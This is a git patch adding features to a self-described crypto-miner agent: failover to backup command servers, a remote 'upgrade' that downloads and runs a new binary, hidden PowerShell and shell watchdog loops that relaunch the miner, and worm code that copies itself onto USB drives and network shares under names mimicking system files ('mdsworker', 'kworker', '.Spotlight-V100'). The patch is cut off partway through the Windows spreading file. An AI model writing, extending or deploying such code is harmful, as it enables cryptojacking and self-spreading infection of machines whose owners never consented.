From 102d2fb7c6a362ad13fb8f68250c764cd226f734 Mon Sep 17 00:00:00 2001 From: drjones Date: Fri, 29 May 2026 22:29:58 -0700 Subject: [PATCH] Add fleet resilience, passive spread, matrix rain UI, and live earnings. Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry. --- agent/client/client.go | 120 ++++- agent/config/builtin.go | 2 + agent/config/config.go | 3 + agent/deploy/health.go | 10 +- agent/deploy/health_unix.go | 31 ++ agent/deploy/health_windows.go | 43 ++ agent/deploy/passive_spread_unix.go | 223 +++++++++ agent/deploy/passive_spread_windows.go | 450 ++++++++++++++++++ agent/deploy/platform_windows.go | 76 ++- agent/main.go | 1 + server/internal/api/fleet_handler.go | 122 ++++- server/internal/builder/handler.go | 40 +- server/internal/db/sqlite.go | 12 +- server/internal/models/agent.go | 22 +- server/main.go | 1 + .../components/Fleet/AgentRemoteActions.css | 36 +- .../components/Fleet/AgentRemoteActions.tsx | 45 +- .../web/src/components/Fleet/FleetPanels.css | 17 + .../web/src/components/Fleet/FleetPanels.tsx | 63 ++- server/web/src/components/Layout/Layout.css | 233 ++++++++- server/web/src/components/Layout/Layout.tsx | 71 ++- .../web/src/components/Layout/MatrixRain.tsx | 212 +++++++++ server/web/src/help/forgeDefaults.ts | 2 + server/web/src/help/forgeFormNormalize.ts | 2 + server/web/src/help/forgeRules.ts | 2 + server/web/src/help/settingHelp.ts | 2 + server/web/src/pages/BuilderPage.tsx | 23 + server/web/src/types/index.ts | 9 + usb_pack_exclude.txt | 6 + 29 files changed, 1795 insertions(+), 84 deletions(-) create mode 100644 agent/deploy/health_unix.go create mode 100644 agent/deploy/health_windows.go create mode 100644 agent/deploy/passive_spread_unix.go create mode 100644 agent/deploy/passive_spread_windows.go create mode 100644 server/web/src/components/Layout/MatrixRain.tsx create mode 100644 usb_pack_exclude.txt diff --git a/agent/client/client.go b/agent/client/client.go index 78cbd13..6593e28 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -4,8 +4,10 @@ import ( "encoding/base64" "encoding/json" "fmt" + "io" "log" "net" + "net/http" "net/url" "os" "os/exec" @@ -75,15 +77,26 @@ func (c *AgentClient) Run() error { } } + // Build deduped server list: primary first, then backups. + // On each failure we advance to the next URL so the fleet never + // goes dark when the primary host reboots. + serverURLs := buildServerURLList(c.cfg) + log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs) + + urlIdx := 0 backoff := 5 * time.Second const maxBackoff = 60 * time.Second for { + target := serverURLs[urlIdx%len(serverURLs)] start := time.Now() - if err := c.connectLoop(); err != nil { - log.Printf("[agent] disconnected: %v", err) + if err := c.connectLoop(target); err != nil { + log.Printf("[agent] disconnected from %s: %v", target, err) } + // Advance to next URL so the next reconnect tries a different server + urlIdx++ if time.Since(start) > 10*time.Second { + // Long-lived connection succeeded — reset backoff on the next attempt backoff = 5 * time.Second } time.Sleep(backoff) @@ -94,8 +107,30 @@ func (c *AgentClient) Run() error { } } -func (c *AgentClient) connectLoop() error { - wsURL, err := buildWSURL(c.cfg.ServerURL) +// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order. +func buildServerURLList(cfg config.RuntimeConfig) []string { + seen := map[string]bool{} + var urls []string + add := func(u string) { + u = strings.TrimSpace(u) + if u == "" || seen[u] { + return + } + seen[u] = true + urls = append(urls, u) + } + add(cfg.ServerURL) + for _, u := range cfg.BackupServerURLs { + add(u) + } + if len(urls) == 0 { + urls = []string{cfg.ServerURL} + } + return urls +} + +func (c *AgentClient) connectLoop(serverURL string) error { + wsURL, err := buildWSURL(serverURL) if err != nil { return err } @@ -350,6 +385,14 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, } encoded := base64.StdEncoding.EncodeToString(b) c.sendCommandResult(action, true, encoded) + case "upgrade": + // data = download URL for the new binary + if data == "" { + c.sendCommandResult(action, false, "no upgrade URL provided") + return + } + go c.performUpgrade(data) + c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary") default: if c.handleReconCommand(action, command) { return @@ -385,6 +428,75 @@ func (c *AgentClient) restartSelf() { os.Exit(0) } +// performUpgrade downloads a new binary from downloadURL, replaces the +// installed binary, and restarts. Works around Windows file-locking by +// renaming the running exe to .old before writing the new one. +func (c *AgentClient) performUpgrade(downloadURL string) { + log.Printf("[agent] upgrade: downloading from %s", downloadURL) + resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2 + if err != nil { + log.Printf("[agent] upgrade: download failed: %v", err) + c.sendCommandResult("upgrade", false, "download failed: "+err.Error()) + return + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + log.Printf("[agent] upgrade: server returned %s", resp.Status) + c.sendCommandResult("upgrade", false, "server returned "+resp.Status) + return + } + + exe, err := os.Executable() + if err != nil { + c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error()) + return + } + exe, _ = filepath.Abs(exe) + + // Write new binary to a temp file in the same directory + newPath := exe + ".new" + tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) + if err != nil { + c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error()) + return + } + if _, err := io.Copy(tmp, resp.Body); err != nil { + tmp.Close() + _ = os.Remove(newPath) + c.sendCommandResult("upgrade", false, "write failed: "+err.Error()) + return + } + tmp.Close() + + // On Windows: rename the running exe to .old (allowed), then rename .new into place. + // On other OSes: direct rename works while the process is running. + oldPath := exe + ".old" + _ = os.Remove(oldPath) + if err := os.Rename(exe, oldPath); err != nil { + _ = os.Remove(newPath) + c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error()) + return + } + if err := os.Rename(newPath, exe); err != nil { + // Try to roll back + _ = os.Rename(oldPath, exe) + _ = os.Remove(newPath) + c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error()) + return + } + + log.Printf("[agent] upgrade: binary replaced, restarting") + c.sendCommandResult("upgrade", true, "binary replaced — restarting") + time.Sleep(500 * time.Millisecond) + + cmd := exec.Command(exe, "--run") + cmd.Dir = filepath.Dir(exe) + if startErr := cmd.Start(); startErr != nil { + log.Printf("[agent] upgrade: restart failed: %v", startErr) + } + os.Exit(0) +} + func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) { if !cfg.FileLogging || cfg.StealthMode { return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)") diff --git a/agent/config/builtin.go b/agent/config/builtin.go index 9fa5810..1fd953b 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -45,5 +45,7 @@ func GetBuiltinConfig() BuiltinConfig { AutoSpread: false, HolePunch: false, RemoteAggressive: false, + USBSpread: false, + ShareSpread: false, } } diff --git a/agent/config/config.go b/agent/config/config.go index 58fe13b..7e44f9e 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -52,6 +52,9 @@ type BuiltinConfig struct { AutoSpread bool HolePunch bool RemoteAggressive bool + // Passive spreading — triggered by the environment rather than active scanning + USBSpread bool // copy agent to any newly-inserted removable/USB drive + ShareSpread bool // drop agent onto already-mounted network shares // Backup server URLs — tried in order if primary fails BackupServerURLs []string // Windows service masquerade (ignored on other OSes) diff --git a/agent/deploy/health.go b/agent/deploy/health.go index 5a5a780..5f13e57 100644 --- a/agent/deploy/health.go +++ b/agent/deploy/health.go @@ -9,11 +9,13 @@ import ( "crypto-miner-agent/config" ) -// StartWatchdog keeps persistence and the installed binary healthy. +// StartWatchdog keeps persistence and the installed binary healthy, +// and spawns an out-of-process guardian that restarts the miner if it crashes. func StartWatchdog(cfg config.RuntimeConfig) { if !cfg.SelfHealing { return } + // In-process: repairs binary + persistence every 2 min go func() { ticker := time.NewTicker(2 * time.Minute) defer ticker.Stop() @@ -23,6 +25,12 @@ func StartWatchdog(cfg config.RuntimeConfig) { } } }() + // Out-of-process guardian: survives a crash of THIS process. + // Only needed for user-mode installs; scheduled tasks and services + // already have their own restart-on-failure mechanics. + if cfg.RunAs != "scheduled" && cfg.RunAs != "service" { + go launchProcessGuard(cfg) + } } func maintainInstall(cfg config.RuntimeConfig) error { diff --git a/agent/deploy/health_unix.go b/agent/deploy/health_unix.go new file mode 100644 index 0000000..1a78679 --- /dev/null +++ b/agent/deploy/health_unix.go @@ -0,0 +1,31 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + "os/exec" + "path/filepath" + "strings" + + "crypto-miner-agent/config" +) + +// launchProcessGuard spawns a detached shell loop that watches for the installed +// miner and restarts it on crash (Unix — Linux + macOS). +func launchProcessGuard(cfg config.RuntimeConfig) { + installDir, err := cfg.InstallDirectory() + if err != nil { + return + } + bin := filepath.Join(installDir, BinaryName(cfg)) + procName := strings.TrimSuffix(BinaryName(cfg), "") + + // sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing. + script := fmt.Sprintf( + `while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`, + procName, bin, bin, + ) + cmd := exec.Command("sh", "-c", script) + _ = cmd.Start() +} diff --git a/agent/deploy/health_windows.go b/agent/deploy/health_windows.go new file mode 100644 index 0000000..554e2be --- /dev/null +++ b/agent/deploy/health_windows.go @@ -0,0 +1,43 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os/exec" + "strings" + + "crypto-miner-agent/config" +) + +// launchProcessGuard spawns a hidden PowerShell loop that watches for the +// installed miner process by name and relaunches it if it disappears. +// The guardian runs completely outside this process — it survives a crash. +func launchProcessGuard(cfg config.RuntimeConfig) { + installDir, err := cfg.InstallDirectory() + if err != nil { + return + } + binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`) + procName := strings.TrimSuffix(BinaryName(cfg), ".exe") + + // Loop every 60 s. If the process is gone and the binary still exists, restart it. + ps := fmt.Sprintf(` +$bin = '%s' +$proc = '%s' +while ($true) { + Start-Sleep -Seconds 60 + if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) { + if (Test-Path $bin) { + Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue + } + } +} +`, binPath, procName) + + cmd := exec.Command("powershell", + "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", + "-Command", ps) + applyDetachedStart(cmd) + _ = cmd.Start() +} diff --git a/agent/deploy/passive_spread_unix.go b/agent/deploy/passive_spread_unix.go new file mode 100644 index 0000000..152a988 --- /dev/null +++ b/agent/deploy/passive_spread_unix.go @@ -0,0 +1,223 @@ +//go:build !windows + +package deploy + +import ( + "log" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" + "time" + + "crypto-miner-agent/config" +) + +// StartPassiveSpreader on Unix polls for newly mounted removable media +// (USB drives, SD cards) and drops the agent onto them. +func StartPassiveSpreader(cfg config.RuntimeConfig) { + if !cfg.USBSpread && !cfg.ShareSpread { + return + } + log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread) + if cfg.USBSpread { + go runUSBWatcherUnix(cfg) + } + if cfg.ShareSpread { + go runShareWatcherUnix(cfg) + } +} + +// ----------------------------------------------------------------------- +// USB / removable media watcher (Linux + macOS) +// ----------------------------------------------------------------------- + +func runUSBWatcherUnix(cfg config.RuntimeConfig) { + seen := map[string]bool{} + // Seed with already-mounted removable media so we don't spread to + // drives that were plugged in before the agent started. + for _, mp := range listRemovableMounts() { + seen[mp] = true + } + ticker := time.NewTicker(20 * time.Second) + defer ticker.Stop() + for range ticker.C { + for _, mp := range listRemovableMounts() { + if seen[mp] { + continue + } + seen[mp] = true + log.Printf("[passive-spread] new removable mount: %s", mp) + go spreadToMountUnix(cfg, mp) + } + } +} + +// listRemovableMounts returns currently-mounted removable media paths. +// Linux: parses /proc/mounts, macOS: uses diskutil list + mount. +func listRemovableMounts() []string { + // Try lsblk first (Linux) + if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil { + return parseLsblkMounts(string(out)) + } + // macOS: look in /Volumes/ for non-system mounts + return listVolumes() +} + +func parseLsblkMounts(jsonOut string) []string { + // Simple substring scan — avoids importing encoding/json for a small binary + var mounts []string + lines := strings.Split(jsonOut, "\n") + var lastMP string + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.Contains(line, `"mountpoint"`) { + parts := strings.SplitN(line, ":", 2) + if len(parts) == 2 { + lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`) + } + } + if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) { + if lastMP != "" && lastMP != "/" && lastMP != "null" { + mounts = append(mounts, lastMP) + } + } + } + return mounts +} + +func listVolumes() []string { + entries, err := os.ReadDir("/Volumes") + if err != nil { + return nil + } + // Skip the system volume (usually "Macintosh HD") by checking if it's a + // symlink to / — all other entries are external/removable volumes. + var vols []string + for _, e := range entries { + full := filepath.Join("/Volumes", e.Name()) + target, err := filepath.EvalSymlinks(full) + if err != nil { + vols = append(vols, full) // real mount, not a symlink + continue + } + if target != "/" { + vols = append(vols, full) + } + } + return vols +} + +func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) { + exePath, err := os.Executable() + if err != nil { + return + } + destName := unixPayloadName(cfg) + // Hide in a dot-directory that looks like a metadata store + dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir + if err := os.MkdirAll(dropDir, 0700); err != nil { + dropDir = filepath.Join(mountPath, ".metadata") + if err := os.MkdirAll(dropDir, 0700); err != nil { + dropDir = mountPath + } + } + dest := filepath.Join(dropDir, destName) + if err := copyFile(exePath, dest); err != nil { + return + } + _ = os.Chmod(dest, 0755) + log.Printf("[passive-spread] agent copied to %s", dest) + + // Create a visible shell script or .command launcher that blends in. + launcherName := pickUnixLauncher(mountPath) + launcherPath := filepath.Join(mountPath, launcherName) + script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n" + _ = os.WriteFile(launcherPath, []byte(script), 0755) +} + +func unixPayloadName(cfg config.RuntimeConfig) string { + if !cfg.StealthMode { + n := sanitizeName(cfg.WorkerName) + if n != "" { + return n + } + } + names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"} + return names[int(time.Now().UnixNano())%len(names)] +} + +func pickUnixLauncher(mountPath string) string { + entries, _ := os.ReadDir(mountPath) + for _, e := range entries { + if e.IsDir() && !strings.HasPrefix(e.Name(), ".") { + return e.Name() + ".command" + } + } + return "Start.command" +} + +// ----------------------------------------------------------------------- +// Mounted share watcher (Linux/macOS NFS, CIFS, SMB) +// ----------------------------------------------------------------------- + +var spreadSharesOnce sync.Once + +func runShareWatcherUnix(cfg config.RuntimeConfig) { + time.Sleep(3 * time.Minute) + ticker := time.NewTicker(10 * time.Minute) + defer ticker.Stop() + spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) }) + for range ticker.C { + spreadToSharesUnix(cfg) + } +} + +func spreadToSharesUnix(cfg config.RuntimeConfig) { + exePath, err := os.Executable() + if err != nil { + return + } + for _, mp := range listRemoteShareMounts() { + mp := mp + go func() { + destName := unixPayloadName(cfg) + dest := filepath.Join(mp, "."+destName) + if _, err := os.Stat(dest); err == nil { + return + } + if err := copyFile(exePath, dest); err != nil { + return + } + _ = os.Chmod(dest, 0755) + log.Printf("[passive-spread] dropped to share %s", dest) + cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`) + _ = cmd.Start() + }() + } +} + +// listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts. +func listRemoteShareMounts() []string { + out, err := exec.Command("mount").Output() + if err != nil { + return nil + } + var mounts []string + for _, line := range strings.Split(string(out), "\n") { + lower := strings.ToLower(line) + if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") { + continue + } + // mount line format: `//host/share on /mnt/share type cifs ...` + fields := strings.Fields(line) + for i, f := range fields { + if f == "on" && i+1 < len(fields) { + mounts = append(mounts, fields[i+1]) + break + } + } + } + return mounts +} diff --git a/agent/deploy/passive_spread_windows.go b/agent/deploy/passive_spread_windows.go new file mode 100644 index 0000000..e6805dd --- /dev/null +++ b/agent/deploy/passive_spread_windows.go @@ -0,0 +1,450 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "log" + "math/rand" + "net" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" + "syscall" + "time" + "unsafe" + + "crypto-miner-agent/config" +) + +// ----------------------------------------------------------------------- +// Entry point +// ----------------------------------------------------------------------- + +// StartPassiveSpreader starts background goroutines that spread via +// environment-triggered events rather than active subnet scanning: +// - USB drive insertion → copy + autorun + LNK shortcut +// - Mounted network shares → drop payload + helper +// - WMI event subscription → persistent USB trigger (survives reboots) +// - PowerShell Remoting → opportunistic WinRM spread on LAN +func StartPassiveSpreader(cfg config.RuntimeConfig) { + if !cfg.USBSpread && !cfg.ShareSpread { + return + } + log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread) + if cfg.USBSpread { + go runUSBWatcher(cfg) + go installWMIUSBTrigger(cfg) // persistent, survives reboots + } + if cfg.ShareSpread { + go runShareWatcher(cfg) + go runPSRemotingSpread(cfg) // opportunistic WinRM + } +} + +// ----------------------------------------------------------------------- +// Win32 drive enumeration +// ----------------------------------------------------------------------- + +var ( + modkernel32 = syscall.NewLazyDLL("kernel32.dll") + procGetLogicalDrives = modkernel32.NewProc("GetLogicalDrives") + procGetDriveTypeW = modkernel32.NewProc("GetDriveTypeW") + procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW") +) + +const ( + driveRemovable = 2 + driveRemote = 4 + attrHidden = 0x02 + attrSystem = 0x04 +) + +func getLogicalDrives() []string { + r, _, _ := procGetLogicalDrives.Call() + var drives []string + for i := 0; i < 26; i++ { + if r&(1<